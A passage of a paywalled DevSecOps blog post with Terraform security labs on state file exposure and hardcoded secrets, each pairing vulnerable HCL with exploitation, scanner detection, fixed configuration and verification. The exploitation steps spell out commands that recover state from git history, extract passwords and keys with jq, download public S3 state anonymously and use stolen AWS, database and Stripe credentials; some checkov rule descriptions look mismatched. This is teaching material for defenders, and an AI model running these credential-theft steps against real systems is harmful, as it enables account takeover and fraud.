DevSecOps Guides

DevSecOps Guides

Terraform Security Labs

We wrote 40 hands-on labs that cover the security mistakes we keep finding in Terraform codebases.

Reza's avatar
Reza
Mar 06, 2026
∙ Paid

In this article we wrote 40 hands-on labs that cover the security mistakes we keep finding in Terraform codebases. Each lab walks through a real misconfiguration, shows you exactly how an attacker exploits it, and gives you the fixed HCL with verification steps.

The labs span four areas: core Terraform security (state files, secrets, providers), AWS resource misconfigurations (S3, IAM, RDS, EC2, Lambda, and more), Azure and GCP resource security, and CI/CD pipeline hardening. We use real tools throughout -- tfsec, checkov, trivy, prowler, conftest, driftctl, and Sentinel -- with actual rule IDs and command output.

Every lab follows the same structure: vulnerable configuration, step-by-step exploitation, detection with real scanning tools, the fixed configuration, and verification that the fix works. No theory-only content. No fake tool output.



Terraform State File Exposure

Writeup

Terraform state files are the single most dangerous artifact in any IaC pipeline. The state file (terraform.tfstate) contains every resource attribute Terraform manages, and that includes secrets in plaintext: database passwords, API keys, TLS private keys, IAM access keys. By default, Terraform writes state to a local file on disk with no encryption.

We see this go wrong in two common patterns. First, teams store state locally and accidentally commit it to git. The .tfstate file ends up in a public or private repository, exposing every secret Terraform ever managed. Second, teams configure remote state backends but skip encryption and access controls -- an S3 bucket without versioning, without encryption, or worse, with public access enabled.

The terraform show command dumps the entire state in human-readable format, including every sensitive attribute. Running terraform state pull outputs raw JSON. Neither command filters secrets by default. If an attacker gains read access to the state file through any vector -- git history, misconfigured S3, shared CI/CD artifacts, developer laptops -- they own every credential in that infrastructure.

Root Cause Analysis

Terraform stores the full resource graph in state because it needs to map configuration to real-world resources. There is no mechanism in core Terraform to selectively exclude sensitive values from state. The sensitive = true flag on variables only masks output in the CLI -- it does not prevent the value from being written to state. Every aws_db_instance password, every tls_private_key PEM, every aws_iam_access_key secret ends up in state regardless of sensitivity markings.

The default backend is local, which writes terraform.tfstate to the working directory. No encryption. No access controls. No locking. Teams that never configure a remote backend end up with state files scattered across developer machines and CI runners.

Vulnerable Configuration

# main.tf - no backend configured (defaults to local state)
terraform {
  required_version = ">= 1.5"
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 5.0"
    }
  }
}

provider "aws" {
  region = "us-east-1"
}

resource "aws_db_instance" "main" {
  identifier     = "production-db"
  engine         = "postgres"
  engine_version = "15.4"
  instance_class = "db.t3.medium"
  allocated_storage = 100

  db_name  = "appdb"
  username = "admin"
  password = "SuperSecret123!"  # Stored in plaintext in state

  skip_final_snapshot = true
}

resource "tls_private_key" "deploy" {
  algorithm = "RSA"
  rsa_bits  = 4096
}

resource "aws_iam_access_key" "ci_deploy" {
  user = aws_iam_user.ci_deploy.name
}

resource "aws_iam_user" "ci_deploy" {
  name = "ci-deploy"
}

After terraform apply, the local terraform.tfstate contains:

cat terraform.tfstate | python3 -m json.tool | head -40
{
  "version": 4,
  "terraform_version": "1.7.0",
  "resources": [
    {
      "type": "aws_db_instance",
      "name": "main",
      "instances": [
        {
          "attributes": {
            "password": "SuperSecret123!",
            "username": "admin",
            "endpoint": "production-db.abc123.us-east-1.rds.amazonaws.com:5432"
          }
        }
      ]
    }
  ]
}

Remote state in an unprotected S3 bucket:

terraform {
  backend "s3" {
    bucket = "my-terraform-state"
    key    = "prod/terraform.tfstate"
    region = "us-east-1"
    # No encryption
    # No DynamoDB locking
    # No versioning on the bucket
    # No access restrictions
  }
}

Exploitation

Step 1: Discover state files in git history

# Search for state files in git
git log --all --full-history -- "*.tfstate"

Expected output:

commit 4a7f2e1b3c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f
Author: developer@company.com
Date:   Mon Jan 15 09:23:41 2024 -0500

    add terraform config
# Recover the state file from git history
git show 4a7f2e1:terraform.tfstate > recovered-state.json

Step 2: Extract secrets with jq

# Extract database passwords
jq -r '.resources[] | select(.type == "aws_db_instance") | .instances[].attributes | "\(.endpoint) \(.username):\(.password)"' recovered-state.json

Expected output:

production-db.abc123.us-east-1.rds.amazonaws.com:5432 admin:SuperSecret123!
# Extract IAM access keys
jq -r '.resources[] | select(.type == "aws_iam_access_key") | .instances[].attributes | "AWS_ACCESS_KEY_ID=\(.id)\nAWS_SECRET_ACCESS_KEY=\(.secret)"' recovered-state.json

Expected output:

AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# Extract TLS private keys
jq -r '.resources[] | select(.type == "tls_private_key") | .instances[].attributes.private_key_pem' recovered-state.json

Expected output:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA2Z3qX2BTLS4e...
-----END RSA PRIVATE KEY-----

Step 3: Enumerate public S3 state buckets

# Check if state bucket allows unauthenticated listing
aws s3 ls s3://my-terraform-state/ --no-sign-request

Expected output (if public):

                           PRE prod/
                           PRE staging/
                           PRE dev/
# Download state file from public bucket
aws s3 cp s3://my-terraform-state/prod/terraform.tfstate ./stolen-state.json --no-sign-request

Step 4: Use stolen credentials

# Connect to the database with extracted credentials
psql -h production-db.abc123.us-east-1.rds.amazonaws.com -U admin -d appdb
# Password: SuperSecret123!

# Use stolen IAM keys
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
aws sts get-caller-identity

Expected output:

{
    "UserId": "AIDACKCEVSQ6C2EXAMPLE",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/ci-deploy"
}

Step 5: Pull state from accessible remote backend

# If you have any AWS credentials with s3:GetObject on the bucket
terraform init
terraform state pull > stolen-state.json

# Or use terraform show to dump everything
terraform show

Detection

tfsec

tfsec . --include-passed

Expected findings:

Result #1 HIGH State backend does not have encryption enabled
──────────────────────────────────────────────────────────────
  main.tf line 3-8

  ID:       aws-s3-encryption-customer-key
  Impact:   State file may be read by unauthorized parties
  Guide:    https://aquasecurity.github.io/tfsec/latest/checks/general/secrets/

Result #2 CRITICAL Potentially sensitive data stored in state
──────────────────────────────────────────────────────────────
  main.tf line 20

  ID:       general-secrets-sensitive-in-attribute

Checkov

checkov -d . --check CKV_AWS_41,CKV2_AWS_61,CKV_AWS_145

Expected output:

Check: CKV_AWS_41: "Ensure no hard-coded credentials exist in lambda environment"
	FAILED for resource: aws_db_instance.main
	File: /main.tf:11-23

Check: CKV2_AWS_61: "Ensure that an S3 bucket has a lifecycle configuration"
	FAILED for resource: aws_s3_bucket.state (if bucket is defined)

Check: CKV_AWS_145: "Ensure that S3 Bucket is encrypted by KMS using a customer managed Key (CMK)"
	FAILED for resource: aws_s3_bucket.state

gitleaks (scan git history for state files)

gitleaks detect --source . --verbose

Expected output:

Finding:     "password": "SuperSecret123!"
Secret:      SuperSecret123!
RuleID:      generic-api-key
Entropy:     3.98
File:        terraform.tfstate
Line:        42
Commit:      4a7f2e1b3c8d

Solution

Fixed Configuration

terraform {
  required_version = ">= 1.5"

  backend "s3" {
    bucket         = "mycompany-terraform-state-prod"
    key            = "prod/terraform.tfstate"
    region         = "us-east-1"
    encrypt        = true
    kms_key_id     = "arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012"
    dynamodb_table = "terraform-state-lock"
    # Bucket must have:
    #   - versioning enabled
    #   - public access blocked
    #   - server-side encryption with KMS
    #   - bucket policy restricting access to specific IAM roles
  }

  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "5.31.0"
    }
  }
}

# State bucket configuration (apply this separately first)
resource "aws_s3_bucket" "terraform_state" {
  bucket = "mycompany-terraform-state-prod"

  lifecycle {
    prevent_destroy = true
  }
}

resource "aws_s3_bucket_versioning" "terraform_state" {
  bucket = aws_s3_bucket.terraform_state.id
  versioning_configuration {
    status = "Enabled"
  }
}

resource "aws_s3_bucket_server_side_encryption_configuration" "terraform_state" {
  bucket = aws_s3_bucket.terraform_state.id
  rule {
    apply_server_side_encryption_by_default {
      sse_algorithm     = "aws:kms"
      kms_master_key_id = aws_kms_key.terraform_state.arn
    }
    bucket_key_enabled = true
  }
}

resource "aws_s3_bucket_public_access_block" "terraform_state" {
  bucket = aws_s3_bucket.terraform_state.id

  block_public_acls       = true
  block_public_policy     = true
  ignore_public_acls      = true
  restrict_public_buckets = true
}

resource "aws_dynamodb_table" "terraform_lock" {
  name         = "terraform-state-lock"
  billing_mode = "PAY_PER_REQUEST"
  hash_key     = "LockID"

  attribute {
    name = "LockID"
    type = "S"
  }
}

# Use variables with sensitive flag and external secret sources
variable "db_password" {
  type      = string
  sensitive = true
  # No default -- must be provided at runtime
}

resource "aws_db_instance" "main" {
  identifier     = "production-db"
  engine         = "postgres"
  engine_version = "15.4"
  instance_class = "db.t3.medium"
  allocated_storage = 100

  db_name  = "appdb"
  username = "admin"
  password = var.db_password  # From environment or Vault

  skip_final_snapshot = true
}

Add to .gitignore:

*.tfstate
*.tfstate.*
*.tfstate.backup
.terraform/

Verification

Verify state is encrypted at rest

aws s3api head-object \
  --bucket mycompany-terraform-state-prod \
  --key prod/terraform.tfstate

Expected output:

{
    "ServerSideEncryption": "aws:kms",
    "SSEKMSKeyId": "arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012"
}

Verify public access is blocked

aws s3api get-public-access-block --bucket mycompany-terraform-state-prod

Expected output:

{
    "PublicAccessBlockConfiguration": {
        "BlockPublicAcls": true,
        "IgnorePublicAcls": true,
        "BlockPublicPolicy": true,
        "RestrictPublicBuckets": true
    }
}

Verify DynamoDB locking is active

terraform plan

Expected output includes:

Acquiring state lock. This may take a few moments...

Verify no state files in git

git log --all --full-history -- "*.tfstate" | wc -l

Expected output:

0

Verify tfsec passes on backend configuration

tfsec . --include-passed | grep "State backend"

Expected output:

  Result    PASSED

Hardcoded Secrets in Terraform

Writeup

Hardcoded secrets in Terraform files are one of the most common findings in IaC security reviews. We see passwords embedded directly in resource blocks, API keys sitting in terraform.tfvars that got committed to version control, and default values on variables that were supposed to be sensitive. The problem is not theoretical -- GitHub reports that Terraform files are among the top file types where secrets are accidentally exposed.

There are three distinct patterns here. First, secrets placed directly in .tf files as string literals -- a database password in an aws_db_instance, an API key in a aws_lambda_function environment block. Second, secrets in terraform.tfvars or *.auto.tfvars files that end up in git because developers forget to add them to .gitignore. Third, variables declared with a default value that contains a real credential, which means the secret is baked into the configuration even when the variable is overridden.

Every one of these patterns results in credentials persisted in version control history. Even after removing the secret from the current commit, git log preserves it forever unless the repository history is rewritten.

Root Cause Analysis

Terraform does not enforce any separation between configuration and secrets. You can put a password string anywhere a string is accepted, and Terraform will apply it without complaint. The sensitive = true flag on variables only prevents the value from being shown in CLI output and plan files -- it does not prevent the value from appearing in .tf files, .tfvars files, or state.

Developers hardcode secrets because it is the path of least resistance during initial development. Setting up Vault integration, AWS Secrets Manager data sources, or environment variable injection requires additional infrastructure. A string literal works immediately.

Vulnerable Configuration

# main.tf
provider "aws" {
  region     = "us-east-1"
  access_key = "AKIAIOSFODNN7EXAMPLE"
  secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
}

resource "aws_db_instance" "main" {
  identifier     = "app-database"
  engine         = "mysql"
  engine_version = "8.0"
  instance_class = "db.t3.medium"
  allocated_storage = 50

  db_name  = "production"
  username = "dbadmin"
  password = "P@ssw0rd!2024Prod"
}

resource "aws_lambda_function" "api" {
  function_name = "api-handler"
  runtime       = "python3.12"
  handler       = "main.handler"
  filename      = "lambda.zip"
  role          = aws_iam_role.lambda.arn

  environment {
    variables = {
      STRIPE_SECRET_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
      DATABASE_URL      = "postgresql://dbadmin:P@ssw0rd!2024Prod@db.example.com:5432/production"
      JWT_SECRET        = "my-super-secret-jwt-signing-key-2024"
    }
  }
}
# variables.tf
variable "db_password" {
  type    = string
  default = "P@ssw0rd!2024Prod"  # Default contains real credential
}

variable "api_key" {
  type    = string
  default = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
}
# terraform.tfvars (committed to git)
db_password    = "P@ssw0rd!2024Prod"
stripe_api_key = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
datadog_key    = "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4"

Exploitation

Step 1: Search for secrets in Terraform files

# Find hardcoded AWS credentials
grep -rn "AKIA" *.tf *.tfvars 2>/dev/null

Expected output:

main.tf:3:  access_key = "AKIAIOSFODNN7EXAMPLE"
# Find passwords and API keys
grep -rni "password\|secret\|api_key\|token" *.tf *.tfvars 2>/dev/null

Expected output:

main.tf:17:  password = "P@ssw0rd!2024Prod"
main.tf:28:      STRIPE_SECRET_KEY = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
main.tf:30:      JWT_SECRET        = "my-super-secret-jwt-signing-key-2024"
variables.tf:3:  default = "P@ssw0rd!2024Prod"
terraform.tfvars:1:db_password    = "P@ssw0rd!2024Prod"
terraform.tfvars:2:stripe_api_key = "sk_live_4eC39HqLyjWDarjtT1zdp7dc"

Step 2: Mine git history for removed secrets

# Search git history for secrets that were "removed"
git log -p --all -S "AKIA" -- "*.tf" "*.tfvars"

Expected output:

commit 8f2a1b3c...
-  access_key = "AKIAIOSFODNN7EXAMPLE"
-  secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
# Use trufflehog to scan the full repository
trufflehog git file://. --only-verified

Expected output:

Found verified result
Detector Type: AWS
Raw result: AKIAIOSFODNN7EXAMPLE
File: main.tf
Commit: 8f2a1b3c4d5e

Step 3: Use stolen AWS credentials

export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

aws sts get-caller-identity

Expected output:

{
    "UserId": "AIDACKCEVSQ6C2EXAMPLE",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/terraform-deployer"
}
# Enumerate what we can access
aws iam list-attached-user-policies --user-name terraform-deployer

Step 4: Use stolen Stripe key

curl https://api.stripe.com/v1/charges \
  -u sk_live_4eC39HqLyjWDarjtT1zdp7dc: \
  -d amount=999999 \
  -d currency=usd \
  -d source=tok_visa

Step 5: Connect to exposed database

mysql -h db.example.com -u dbadmin -p'P@ssw0rd!2024Prod' production

Expected output:

Welcome to the MySQL monitor.
mysql> SHOW TABLES;
+------------------------+
| Tables_in_production   |
+------------------------+
| users                  |
| orders                 |
| payment_methods        |
+------------------------+

Detection

tfsec

tfsec .

Expected output:

Result #1 CRITICAL Hardcoded AWS access credentials
──────────────────────────────────────────────────────
  main.tf line 3

  ID:       aws-provider-no-hardcoded-credentials
  Impact:   Credentials could be exposed in source code

Result #2 CRITICAL Sensitive data in resource attribute
──────────────────────────────────────────────────────
  main.tf line 17

  ID:       general-secrets-sensitive-in-attribute
  Impact:   Credentials stored in plaintext

Result #3 HIGH Lambda environment variable contains sensitive value
──────────────────────────────────────────────────────
  main.tf line 28

  ID:       aws-lambda-no-secrets-in-environment

Checkov

checkov -d . --check CKV_AWS_41,CKV2_AWS_39,CKV_AWS_45

Expected output:

Check: CKV_AWS_41: "Ensure no hard-coded credentials exist in lambda environment"
	FAILED for resource: aws_lambda_function.api
	File: /main.tf:20-34

Check: CKV2_AWS_39: "Ensure Domain Name System (DNS) query logging is enabled for Amazon Route 53 hosted zones"
	PASSED

Check: CKV_AWS_45: "Ensure no hard-coded credentials exist in lambda environment"
	FAILED for resource: aws_lambda_function.api

gitleaks

gitleaks detect --source . --verbose --no-git

Expected output:

Finding:     access_key = "AKIAIOSFODNN7EXAMPLE"
RuleID:      aws-access-key-id
File:        main.tf
Line:        3

Finding:     secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
RuleID:      aws-secret-access-key
File:        main.tf
Line:        4

Finding:     "sk_live_4eC39HqLyjWDarjtT1zdp7dc"
RuleID:      stripe-secret-key
File:        main.tf
Line:        28

trufflehog

trufflehog filesystem . --include-paths="*.tf,*.tfvars"

Expected output:

Detector: AWSAccessKey
Raw: AKIAIOSFODNN7EXAMPLE
File: main.tf
Verified: true

Detector: Stripe
Raw: sk_live_4eC39HqLyjWDarjtT1zdp7dc
File: main.tf
Verified: true

Solution

Fixed Configuration

# variables.tf
variable "db_password" {
  type      = string
  sensitive = true
  # No default value -- must be injected at runtime
}

variable "stripe_secret_key" {
  type      = string
  sensitive = true
}

variable "jwt_secret" {
  type      = string
  sensitive = true
}
# main.tf - provider uses environment variables or IAM roles
provider "aws" {
  region = "us-east-1"
  # No access_key or secret_key
  # Uses AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY env vars
  # or IAM instance profile / IRSA / ECS task role
}

# Pull secrets from AWS Secrets Manager
data "aws_secretsmanager_secret_version" "db_password" {
  secret_id = "prod/database/password"
}

data "aws_secretsmanager_secret_version" "stripe_key" {
  secret_id = "prod/stripe/secret-key"
}

resource "aws_db_instance" "main" {
  identifier     = "app-database"
  engine         = "mysql"
  engine_version = "8.0"
  instance_class = "db.t3.medium"
  allocated_storage = 50

  db_name  = "production"
  username = "dbadmin"
  password = data.aws_secretsmanager_secret_version.db_password.secret_string
}

resource "aws_lambda_function" "api" {
  function_name = "api-handler"
  runtime       = "python3.12"
  handler       = "main.handler"
  filename      = "lambda.zip"
  role          = aws_iam_role.lambda.arn

  environment {
    variables = {
      # Reference secrets by ARN -- Lambda reads them at runtime
      STRIPE_SECRET_ARN  = "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/stripe/secret-key"
      DATABASE_SECRET_ARN = "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/database/url"
      JWT_SECRET_ARN     = "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/jwt/signing-key"
    }
  }
}
# .gitignore
*.tfvars
!example.tfvars
*.tfstate
*.tfstate.*
.terraform/
# example.tfvars (committed as template, no real values)
# db_password    = "CHANGE_ME"
# stripe_api_key = "CHANGE_ME"

Verification

Verify no hardcoded credentials in provider

grep -n "access_key\|secret_key" main.tf

Expected output:

(no output)

Verify variables are marked sensitive

grep -A2 "variable.*password\|variable.*secret\|variable.*key" variables.tf

Expected output:

variable "db_password" {
  type      = string
  sensitive = true
--
variable "stripe_secret_key" {
  type      = string
  sensitive = true

Verify no defaults on sensitive variables

grep -A5 'sensitive = true' variables.tf | grep 'default'

Expected output:

(no output)

Verify gitleaks passes

gitleaks detect --source . --verbose --no-git

Expected output:

No leaks found

Verify tfsec passes

tfsec . --minimum-severity HIGH

Expected output:

No problems detected!

Verify tfvars is gitignored

git check-ignore terraform.tfvars

Expected output:

terraform.tfvars

Provider Version Pinning

User's avatar

Continue reading this post for free, courtesy of Reza.

Or purchase a paid subscription.
© 2026 Reza · Privacy ∙ Terms ∙ Collection notice
Start your SubstackGet the app
Substack is the home for great culture